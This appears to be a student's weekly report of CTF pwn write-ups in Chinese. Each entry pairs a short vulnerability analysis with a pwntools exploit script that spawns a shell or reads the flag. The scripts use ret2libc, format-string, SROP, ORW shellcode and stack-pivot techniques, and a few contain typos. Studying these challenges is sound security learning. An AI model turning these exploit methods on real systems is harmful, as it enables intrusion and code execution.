第三周周报（XYCTF,NSS)

XYCTF复现

hello_world(签到)

64位，开启了NX和pie保护,Full RELRO

存在栈溢出，可以使用ret2libc来解决

由于存在格式化字符串漏洞，我们可以通过它来泄露libc基址。

填充垃圾数据至0x7fffffffdfa8，泄露处__libc_start_call_main+128，

通过其与libcbase之间的偏移来得到libase。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

#context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
p = process('vuln')
elf = ELF('vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

sa("name: ",b'a'*0x28)
rl(b'a'*0x28)
libc_base=l64()-0x29d90
print(hex(libc_base))

system,sh=get_sb()
ret=libc_base+0x29fd5
rdi=libc_base+0x2a3e5

sla(b'your name: ',b'a'*(0x28)+p64(ret)+p64(rdi)+p64(sh)+p64(system))
inter()

static_link 

64位静态编译，直接套模板即可。

exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p=process("./vuln")
elf=ELF("./vuln")
mprotect=0x4482c0
bss=0x4C9000
rdi=0x401f1f
rsi=0x409f8e
rdx=0x451322
read=0x447580
#p.recvuntil("where is my system_x64?")
pay=b'a'*(0x20+8)+p64(rdi)+p64(bss)+p64(rsi)+p64(0x1000)+p64(rdx)+p64(7)+p64(mprotect)+p64(rdi)+p64(0)+p64(rsi)+p64(bss)+p64(rdx)+p64(0x100)+p64(read)+p64(bss)
p.sendline(pay)
#pause()
shellcode=asm(shellcraft.sh())
print(len(shellcode))
p.sendline(shellcode)
p.interactive()

invisible_flag

64位,保护全部开启。

虽然保护全开，但是程序使用mmap函数开辟出来一段可读可写可执行的空间，我们可以将函数

开启了沙盒保护。

read,open,write全部被禁用。但是我们可以用openat代替open,用sendfile代替read和write,

exp

om pwn import *
io=remote('gz.imxbt.cn',20008)
#io=process('./vuln')
elf=ELF('./vuln')
context(os='linux', arch='amd64')

#openat
shellcode=asm(shellcraft.openat(0,b'/flag'))
#sendfile
shellcode+=asm('''
        mov rdi,1
        mov rsi,rax
        mov rdx,0
        mov r10,0x100
        mov rax,40
        syscall
''')
io.sendlineafter(b'show your magic again\n',shellcode)
io.interactive()

simple_srop

64位开启了NX保护，开启了沙盒。

禁止了系统调用。

存在栈溢出。

思路是：先通过srop调用read函数，接下来用read函数读入用srop写的open和sendfile函数的调用，输出flag。

exp

from pwn import *
context(os = 'linux', arch = 'amd64', log_level='debug')
io=process('vuln')
elf=ELF('vuln')

syscall=0x401296

sigframe = SigreturnFrame()
sigframe.rax = 0x0
sigframe.rdi = 0x0
sigframe.rsi = 0x404500
sigframe.rdx = 0x700
sigframe.rip = 0x40129d
sigframe.rsp = 0x404508

payload=flat([cyclic(0x20),0x10,syscall,sigframe])
io.send(payload)

sigframe.rax = 0x2
sigframe.rdi = 0x404500
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rip = 0x40129d
sigframe.rsp = 0x404700

payload=flat([b'flag\x00\x00\x00\x00',syscall,sigframe]).ljust(0x200,b'\x00')+flat([syscall])

sigframe.rax = 40
sigframe.rdi = 1
sigframe.rsi = 3
sigframe.rdx = 0
sigframe.r10 = 0xa0

payload+=flat([sigframe])

io.send(payload)

io.interactive()

[MoeCTF 2022]babyfmt

32位，题目提示为fmtgot表劫持。只开启了NX保护。

read存在栈溢出，printf存在格式化字符串漏洞。

存在后门函数。

主函数给出了heap的地址，但我们不需要使用它，直接利用fmt工具即可。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='i386', log_level='debug')
p=remote('node5.anna.nssctf.cn',27303)
#p = process('pwn2')
elf = ELF('pwn (2)')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')


r()

payload = fmtstr_payload(11, {elf.got['read']:elf.sym['backdoor']})
s(payload)
inter()

[CISCN 2022 初赛]login_normal

64位，题目给出的提示是shellcode，但保护全部打开了。

主函数中的read 函数不存在栈溢出。

unsigned __int64 __fastcall sub_FFD(_BYTE *a1)
{
  char *sa; // [rsp+8h] [rbp-48h]
  char *sb; // [rsp+8h] [rbp-48h]
  char *sc; // [rsp+8h] [rbp-48h]
  char *sd; // [rsp+8h] [rbp-48h]
  char v7; // [rsp+17h] [rbp-39h]
  int v8; // [rsp+1Ch] [rbp-34h]
  int v9; // [rsp+2Ch] [rbp-24h]
  void *dest; // [rsp+30h] [rbp-20h]
  char *s1; // [rsp+38h] [rbp-18h]
  char *nptr; // [rsp+40h] [rbp-10h]
  unsigned __int64 v13; // [rsp+48h] [rbp-8h]

  v13 = __readfsqword(0x28u);
  memset(qword_202040, 0, sizeof(qword_202040));
  v8 = 0;
  v7 = 0;
  dest = 0LL;
  while ( !*a1 || *a1 != '\n' && (*a1 != 13 || a1[1] != '\n') )
  {
    if ( v8 <= 5 )
      qword_202040[2 * v8] = a1;
    sb = strchr(a1, 58);
    if ( !sb )
    {
      puts("error.");
      exit(1);
    }
    *sb = 0;
    for ( sc = sb + 1; *sc && (*sc == ' ' || *sc == '\r' || *sc == '\n' || *sc == '\t'); ++sc )
      *sc = 0;
    if ( !*sc )
    {
      puts("abort.");
      exit(2);
    }
    if ( v8 <= 5 )
      qword_202040[2 * v8 + 1] = sc;
    sd = strchr(sc, 10);
    if ( !sd )
    {
      puts("error.");
      exit(3);
    }
    *sd = 0;
    a1 = sd + 1;
    if ( *a1 == 13 )
      *a1++ = 0;
    s1 = (char *)qword_202040[2 * v8];
    nptr = (char *)qword_202040[2 * v8 + 1];
    if ( !strcasecmp(s1, "opt") )
    {
      if ( v7 )
      {
        puts("error.");
        exit(5);
      }
      v7 = atoi(nptr);
    }
    else
    {
      if ( strcasecmp(s1, "msg") )
      {
        puts("error.");
        exit(4);
      }
      if ( strlen(nptr) <= 1 )
      {
        puts("error.");
        exit(5);
      }
      v9 = strlen(nptr) - 1;
      if ( dest )
      {
        puts("error.");
        exit(5);
      }
      dest = calloc(v9 + 8, 1uLL);
      if ( v9 <= 0 )
      {
        puts("error.");
        exit(5);
      }
      memcpy(dest, nptr, v9);
    }
    ++v8;
  }
  *a1 = 0;
  sa = a1 + 1;
  if ( *sa == 10 )
    *sa = 0;
  switch ( v7 )
  {
    case 2:
      sub_DA8((const char *)dest);
      break;
    case 3:
      sub_EFE((const char *)dest);
      break;
    case 1:
      sub_CBD((const char *)dest);
      break;
    default:
      puts("error.");
      exit(6);
  }
  return __readfsqword(0x28u) ^ v13;
}

进入关键函数。

主要是要代码审计，要传入特殊字符绕过各种检查来输入shellcode，且shellcode必须是可见字符。

exp

p=remote('node4.anna.nssctf.cn',28088)
#p = process('pwn2')
elf = ELF('./service')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

payload=b'opt:1\nmsg:ro0tt\n'

p.recvuntil(b'>>> ')
p.sendline(payload)
#shellcode=asm(shellcraft.sh())
shellcode=b"RRYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXAA"
payload=b'opt:2\nmsg:'+shellcode+b'\n'
p.recvuntil(b'>>> ')
p.sendline(payload)

p.interactive()

[BJDCTF 2020]babyrop2

64位，开启了canary和NX保护。

先执行gift函数，存在格式化字符串漏洞。

再执行vuln函数。存在栈溢出漏洞。

所以我们的解题思路就是，先利用格式化字符串泄露canary，再通过栈溢出泄露libcbase，构造rop链获得shell。

exp

from pwn import *
from LibcSearcher import *

io=remote('node4.anna.nssctf.cn',28793)
elf=ELF('pwn (2)')
context.log_level = 'debug'

#io.recv()
payload = '%7$p'
io.sendline(payload)
io.recvuntil('0x')
cancry = int(io.recv(16),16)

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x0400993
main_addr = elf.symbols['main']
vuln_addr = 0x0400887


payload = b'a'*(0x20-8)+p64(cancry)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(vuln_addr)

io.recvuntil('story!\n')
io.sendline(payload)
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))


libc=LibcSearcher('puts',puts_addr)
base_addr = puts_addr - libc.dump('puts')
system_addr=base_addr + libc.dump('system')
shell_addr = base_addr + libc.dump('str_bin_sh')

io.recvuntil('story!\n')

payload = b'a'*(0x20-8)+p64(cancry)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(shell_addr)
payload += p64(system_addr)
payload += p64(main_addr)

io.sendline(payload)
io.interactive()

[HNCTF 2022 WEEK2]ret2csu 

64位开启了NX保护，

存在栈溢出。

由于本题没有puts函数，所以我们需要用write函数来泄露libcbase。

但是本题没有可以控制rdx的gaget，rdx中的数也不是8，所以我们需要使用ret2csu来调用write函数。

随后只需要进行正常的ret2libc即可。

exp

from pwn import *
from LibcSearcher import *
elf=ELF("ret2csu") 
#io=process("./ret2csu")
io=remote('node5.anna.nssctf.cn',29502)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') 
vuln=0x401176
rdi=0x00000000004012b3
movcsu=0x401290
popcsu=0x4012A6
#gdb.attach(p)
#pause()
io.recvuntil(b"Input:\n") 
payload1=b'a'*(0x108)+p64(rdi)+p64(1)+p64(popcsu)+p64(0)*2+p64(0x1)+p64(1)+p64(elf.got["write"])+p64(0x10)+p64(elf.got["write"])+p64(movcsu)+p64(vuln)*8
io.send(payload1)

io.recvline() 
 
write_addr=u64(io.recv(8))
libc=ELF('libc.so.6')
libc_base=write_addr-libc.sym['write']
print(hex(libc_base))
sys=libc_base+libc.sym['system']
sh = libc_base + next(libc.search(b'/bin/sh\x00'))
payload2=b'a'*(0x108)+p64(rdi)+p64(sh)+p64(sys)
io.send(payload2) 
 
io.interactive()

[SUCTF 2018 招新赛]basic pwn

一道64位的ret2text。

这是后门函数。

这是存在栈溢出漏洞的主函数。

exp

from pwn import *

io= remote('node4.anna.nssctf.cn',28337)

backdoor=0x401157

payload=b'a'*0x118+p64(backdoor)

io.sendline(payload)
io.interactive()

[GDOUCTF 2023]Random 

64位保护全部关闭。

开启了沙盒，禁用了execve

所以我们可以使用orw

存在栈溢出函数，同时给出了jmp rsp的gadget。

虽然栈溢出长度不够构造orw，但是我们可以劫持栈,将orw的shellcode写到bss段并执行。

exp

from pwn import *
from ctypes import *  

context.arch='amd64'


io=process('./RANDOM')
#io = remote('node5.anna.nssctf.cn',24617)

libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(libc.time(0))

jmp_sp = 0x40094E
bss= 0x601080

io.sendlineafter("num:",str(libc.rand()%50))

payload=asm(shellcraft.read(0,bss,0x100))+asm('mov rax,0x601080;call rax')
payload=payload.ljust(0x28,b'\x00')+p64(jmp_sp)+asm('sub rsp,0x30;jmp rsp')
io.sendlineafter("your door\n",payload)

orw_shellcode = shellcraft.open("./flag")
orw_shellcode += shellcraft.read(3, bss+0x100, 0x50)
orw_shellcode += shellcraft.write(1, bss+0x100,0x50)
io.send(asm(orw_shellcode))

io.interactive()

[HDCTF 2023]Minions 

64位，只开启了NX保护。

根据程序可知，我们需要用格式化字符串漏洞将key改为102，然后进入存在栈溢出的read函数。

由于溢出空间过小，我们需要将栈迁移到bss段执行。

同时，函数已经给出了system函数，不需要泄露libcbase。

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
p=remote('node5.anna.nssctf.cn',23944)
#p = process('./minions1')
elf = ELF('./minions1')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

key = 0x6010A0 
rdi = 0x0400893
ret = 0x0400581
leave = 0x0400758

payload = b'%32$p' + b'%'+ str(102-14).encode() + b'c%8$hhna' + p64(key)
sl(payload)
rl(b',')

stack = int(p.recvuntil(b' ',drop = True),16)
shell = stack - 0x30
payload = b'/bin/sh\x00' + p64(ret) + p64(rdi) + p64(shell) + p64(elf.plt['system'])
payload = payload.ljust(0x30,b'a') + p64(shell) + p64(leave)

sl(payload)

sla('?', b'a')

p.interactive()

[HDCTF 2023]Makewish

64位开启了NX保护和canary。存在后门函数，主函数中可利用puts函数泄露canary，

通过伪随机数，使v4=v5。

在vuln函数中，由于read函数会使得你输入的payload的下一个字节的最后一位改成’\x00’,所以可以通过改方法修改rbp。vuln函数的leaveret与main函数的leaveret相当于一次栈迁移。

exp

from pwn import *
from ctypes import *
context(arch='amd64', os='linux', log_level='debug')
libc=cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
p = remote('node4.anna.nssctf.cn',28450)

backdoor= 0x4007Cb

ret = 0x4005d9

p.sendafter("name\n\n",b'a'*0x29)

p.recvuntil(b'a'*0x29)

canary = u64(p.recv(7).rjust(8,b'\x00'))

num=libc.rand()%1000+324
p.send(p32(num))

payload=p64(ret)*10+p64(backdoor)+p64(canary)

p.sendafter("to me\n",payload)

p.interactive()

[SDCTF 2022]Horoscope

64位，ret2text。

存在栈溢出与后门函数。使temp等于1即可。

exp

from pwn import *
context(arch=‘amd64’,log_level=‘debug’)
io=remote(‘node4.anna.nssctf.cn’,28628)
backdoor=0x40095F
payload=b’1’+b’a’*(0x30+0x07)+p64(backdoor)
io.sendafter(b’horoscope\n’,payload)
io.interactive()

[MoeCTF 2021]ret2text_ez

64位的ret2text。

exp

from pwn import *
context(arch=‘amd64’,log_level=‘debug’,os=‘linux’)
io= remote(‘node5.anna.nssctf.cn’,28073)
backdoor = 0x401196
ret = 0x000000000040101a

payload = b'a'*(0x28)+ p64(ret) + p64(backdoor)

io.sendline(payload)

io.interactive()

[SWPUCTF 2022 新生赛]Darling

64位

利用伪随机数返回到backdoor。

exp

from pwn import *
from ctypes import *
context(arch='amd64',log_level='debug')

libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(0x1317E53)
io=remote('node5.anna.nssctf.cn',20651)
#io=process('./pwn')
payload=str(libc.rand()%100-64)
io.sendlineafter(b'you.\n',payload)
io.interactive()

[CISCN 2019东南]PWN2

 

64位NX保护，

一道经典的栈迁移

exp

from pwn import *
from PwnModules import *

context(os="linux", arch="amd64", log_level="debug")

io = remote("node5.anna.nssctf.cn", 28553)
#io= process("./pwn2")

payload = b'a' * 0x28
io.send(payload) 
io.recvuntil(payload)
ebp = u32(io.recv(4))

offset = 0x10
stack=ebp - offset - 0x28
call_system = 0x08048559
leave_ret = 0x08048562
ret = 0x080483a6
payload = b'aaaa' + p32(ret) + p32(call_system) + p32(stack + 16) + b'/bin/sh\x00'
payload = payload.ljust(0x28, b'a')
payload += p32(stack) + p32(leave_ret)
io.send(payload)

io.interactive()

[NISACTF 2022]shop_pwn

 在卖东西时会创建一个新的线程，，我们可以快速卖出东西，在程序反应过来之前，我们就可以拥有大量的钱了。然后购买flag。

exp

from struct import pack
from LibcSearcher import *

def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    p.recvuntil(a)
def debug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

#context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('node5.anna.nssctf.cn',24158)
elf = ELF('./pwn')

sl(b'3')
sl(b'0')

sl(b'3')
sl(b'0')

sla(b'> ', b'2')
sla(b'> ', b'1')
r()

sla(b'> ', b'1')
r()
r()
pr()

[MoeCTF 2022]shell

没有附件，直接nc连接,就给出了shell。

[UUCTF 2022 新生赛]babystack

64位ret2text。

exp

from pwn import *
io=remote(‘node5.anna.nssctf.cn’,28513)
back=0x400726
io.recvuntil(“What’s your name?”)

payload=b’a’*264+p64(back)
io.sendline(payload)
io.interactive()

[FSCTF 2023]nc

说是nc，实际上禁用了cat flag等字符。并且关闭了标准输出。

所以需要绕过一下

输入tac fla* >&2，即可获得flag。

[HGAME 2023 week1]easy_overflow

存在后门函数与栈溢出，但是关闭了标准输出。

exp

from pwn import *
io=remote('node5.anna.nssctf.cn'25008)
payload = b'a'*(0x18) + p64(0x40117E)
io.send(payload)
io,interactive()

然后再输入exec 1>&0，随后在cat flag。

[MoeCTF 2022]ret2text

64位ret2text。

backdoor藏在一堆函数中。 

exp

from pwn import *
context(os="linux", arch="i386", log_level="debug")
io = process("./pwn")
backdoor = 0x4014BA
ret = 0x000000000040101a
payload=b'a'*(0x48)+p64(ret)+p64(backdoor)

io.sendafter(b'wish: ',payload)

io.interactive()

[2021 鹤城杯]easyecho

64位保护全开。

 先通过printf函数泄露pie，

得到flag真实地址。

最后将该地址覆盖到argv[0]通过报错函数带出flag

 exp

from pwn import *
 
context(arch="amd64",os="linux",log_level="debug")
 
io=process('./easyecho')
io=remote('node4.anna.nssctf.cn',28711)
io.recvuntil(b'name~')
io.send(b'a'*0x10)
io.recvuntil(b'a'*0x10)
pie=u64(io.recv(6).ljust(8,b'\x00'))

base=pie-0xcf0
io.sendlineafter(b'Input: ',b'backdoor')
payload=b'a'*0x168+p64(base+0x202040)
io.sendlineafter(b'Input: ',payload)
io.sendlineafter(b'Input: ',b'exitexit')

io.interactive()

[CISCN 2023 初赛]烧烤摊儿 

静态编译程序。

 存在整数溢出，搞够钱承包摊位。

获得改名函数，

存在栈溢出。使用ret2syscall。

exp

from pwn import *
p = process('./shaokao')
#p = remote('node4.anna.nssctf.cn',28695)
context.log_level = 'debug'

p.sendline('2')
p.sendline('2')
p.sendline('-100000')
p.sendline('4')
p.sendline('5')

name = 0x4E60F0
pop_rax_rdx_rbx_ret = 0x4a404a
pop_rdi_ret = 0x40264f
pop_rsi_ret = 0x40a67e
syscall = 0x402404

payload = '/bin/sh\x00' 
payload += 'a'*(0x20-0x8) + p64(0)
payload += p64(pop_rax_rdx_rbx_ret)
payload += p64(59)
payload += p64(0)
payload += p64(0)
payload += p64(pop_rdi_ret)
payload += p64(name)
payload += p64(pop_rsi_ret)
payload += p64(0)
payload += p64(syscall)
p.sendline(payload)

p.interactive()

[NUSTCTF 2022 新生赛]ezPwn 

直接利用gets函数栈溢出返回到backdoor。

exp

from pwn import *
io=remote(‘node5.anna.nssctf.cn’,28553)
payload=b’a’*(0x0A+0x08)+p64(0x401229)
io.sendline(payload)
io.interactive()